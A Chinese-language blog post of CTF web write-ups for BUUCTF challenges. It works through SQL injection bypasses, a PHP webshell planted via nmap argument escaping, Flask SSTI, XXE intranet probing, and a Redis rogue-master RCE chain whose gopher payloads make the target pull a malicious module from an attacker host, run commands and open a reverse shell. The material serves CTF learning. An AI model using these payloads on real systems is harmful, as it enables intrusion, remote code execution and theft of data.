[GXYCTF2019]BabySQli

一个登录框直接开搞,万能密码试了不行,已经说了是sql就没着急去考虑弱口令什么的!sqlmap测出时间盲注,直接梭哈,但是太久了,而且密码貌似还是md5加密的,所以脱库的价值不大,因为貌似里面没有flag,可能就是要让我们登录给flag

cmd5在线碰撞失败。。。。
1 | select * from user where username = '$name' |
也就是说,那这个sql执行的结果里面的密码来进行比对,这里我们可以通过union去控制返回的结果,只不过结果不会回显到页面

这里只要查询结果里面的用户名是admin就会去比对密码,按照惯例第3列就是密码了,于是我们利用数组的md5返回null进行登录
1 | name=1' union select 1,'admin',null#&pw[]=1 |
[RoarCTF 2019]Easy Java
java来咯!

help这个链接考虑文件下载漏洞,但是要改成post请求,而且得bp去发包,反正我用hackbar不行!
WEB-INF 是Java的WEB应用的安全目录。
WEB-INF主要包含以下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
直接去读/WEB-INF/web.xml,因为这里面定义了映射关系
1 | <?xml version="1.0" encoding="UTF-8"?> |
可以看到/Flag这个目录对应的是com.wm.ctf.FlagController.class文件,于是我们再通过/WEB-INF/classes/这个去读
1 | filename=/WEB-INF/classes/com/wm/ctf/FlagController.class |
接着反编译即可

[CISCN2019 华北赛区 Day2 Web1]Hack World
这题很明确就是sql注入,而且有过滤提示的sql注入,于是我们就可以来fuzz

过滤了许多东西,union注入反正是不可以的了,试试布尔盲注,这个主要得关注页面的回显,发现id=1的时候回显是特殊的!虽然没有and和or了,空格也没了,但是可以写出下面的payload
1 | id=if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2) |
利用()去绕过空格的过滤,快马加鞭直接脚本走起
1 | import requests |
[BUUCTF 2018]Online Tool
1 |
|
这玩意第一想法利用管道符逃逸,但是不行,看到两个转义的函数,就想到的我之前写的一篇文章
escapeshellarg与escapeshellcmd的弄巧成拙-CSDN博客
然后就是的,之后写入木马
1 | 127.0.0.1' <?=@eval($_POST[1]);?> -oN shell.phtml ' |
访问是下载,那么就是没解析了,怀疑两个方面,一是这个目录没执行权限,而是本来就不解析phtml
于是我加入了xff头并且把phtml改成了php这样就两个方面都考虑了,果然可以,rce拿flag即可!
[MRCTF2020]Ezpop
有点意思,好久没做pop链了
1 | <?php |
链子真的简单,关键是如何触发__toString,这里死活没想到正则那里当作了字符串,当我以为一切顺利的时候现实又给了我一巴掌,于是我本地debug发现只触发到,toString为啥?我输出了一下str发现是NULL,于是我检查了我的序列化字符一顿历程,我才知道我触发的是第二个实例的toString,那个实例里面的str就是NULL。之前没遇到过,所以最后的exp就是
1 | <?php |
[WesternCTF2018]shrine
给了源码很明显是ssti
1 |
|
在当前作用域将config设置为none了,然后命令执行也不行,但是设置的是当前局部作用域,我们从全局来
1 | {{ url_for.__globals__['current_app'].config}} |
current_app 指向的是内存中真实的 Flask 应用对象
[NPUCTF2020]ReadlezPHP
第一想法ez,尝试了system和passthru皆报500,于是本地测试也是不行,然后想错了,以为是新姿势,兴高采烈看wp,没想到果然是我想错了,直接phpinfo就好了,但是参数会影响返回的长度,所以用过assert就ok了
[SWPU2019]Web1
一个登录框,但是有注册,优先考虑登录后的漏洞
登录上去有个发布广告有个xss但是应该没啥用,但是有二次注入
1 | 闭合方式为',or被过来,可以用group by来判断列数 |
因为or没了所以采用无列名注入,参考我之前文章:从information被ban到无列名注入-CSDN博客
[NCTF2019]True XML cookbook
一个xml,可以从来个角度发现,一是前端的js,或者你直接抓包也会发现,于是尝试最基础的xxe,可以读文件,但是不知道flag在哪,然后这题考的是内网探测
1 | /proc/net/fib_trie 更有用,但它通常只给你一个“范围”; |
ok以后尽量用/proc/net/fib_trie
1 | import requests |
[网鼎杯 2020 玄武组]SSRFMe
以这道题来了解一下redis主从复制,因此不分析代码

一开始考虑的是能不能写个木马进去,但是这里不行,而且告诉了你redis的密码,于是我去连接但是连接不上,应该是内网开了redis,这里考虑redis主从复制
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,那么此时就可以通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据就可以通过主从复制复制到其它从redis。
只要是未禁用 SLAVEOF 命令且未授权或者知道密码,就可以打。主从复制简单来说就是一个同步功能,那么这里的思路就是我们伪造一台主redis
1 | https://github.com/n0b0dyCN/redis-rogue-server |
这里要将redis-rogue-server的exp.so文件复制到Awsome-Redis-Rogue-Server中,使用Awsome-Redis-Rogue-Server工具开启主服务,并且恶意so文件指定为exp.so,因为exp.so里面有system模块
先开启一下主服务
1 | python3 redis_rogue_server.py -v -path exp.so -lport 21000 |
然后利用gopher协议对redis进行一个利用
1 | 先set备份路径为/tmp |
接下来就可以进行一个同步了
1 | gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520xx.xx.xx.xx%252021000%250d%250aquit |
加载模块
1 | gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520./exp.so%250d%250aquit |
关闭主从同步
1 | gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit |
命令执行获取flag或者反弹shell
1 | gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit |
这个是反弹shell:system.rev xx.xx.xx.xx 6666
总结
算是了解了主从复制这么个东西,然后再说说遇到的问题吧,首先是buu的靶机不出网的问题,然后官方是给了解决办法的搭建个隧道,然后另外就是我的工具再kali然后隧道是和物理机搭建的,但是我不想下载东西了,于是了解到可以使用流量转发
1 | netsh interface portproxy add v4tov4 listenport=21000 listenaddress=ip connectport=21000 connectaddress=kaliip |

然后就转发到kali就去,ok不错!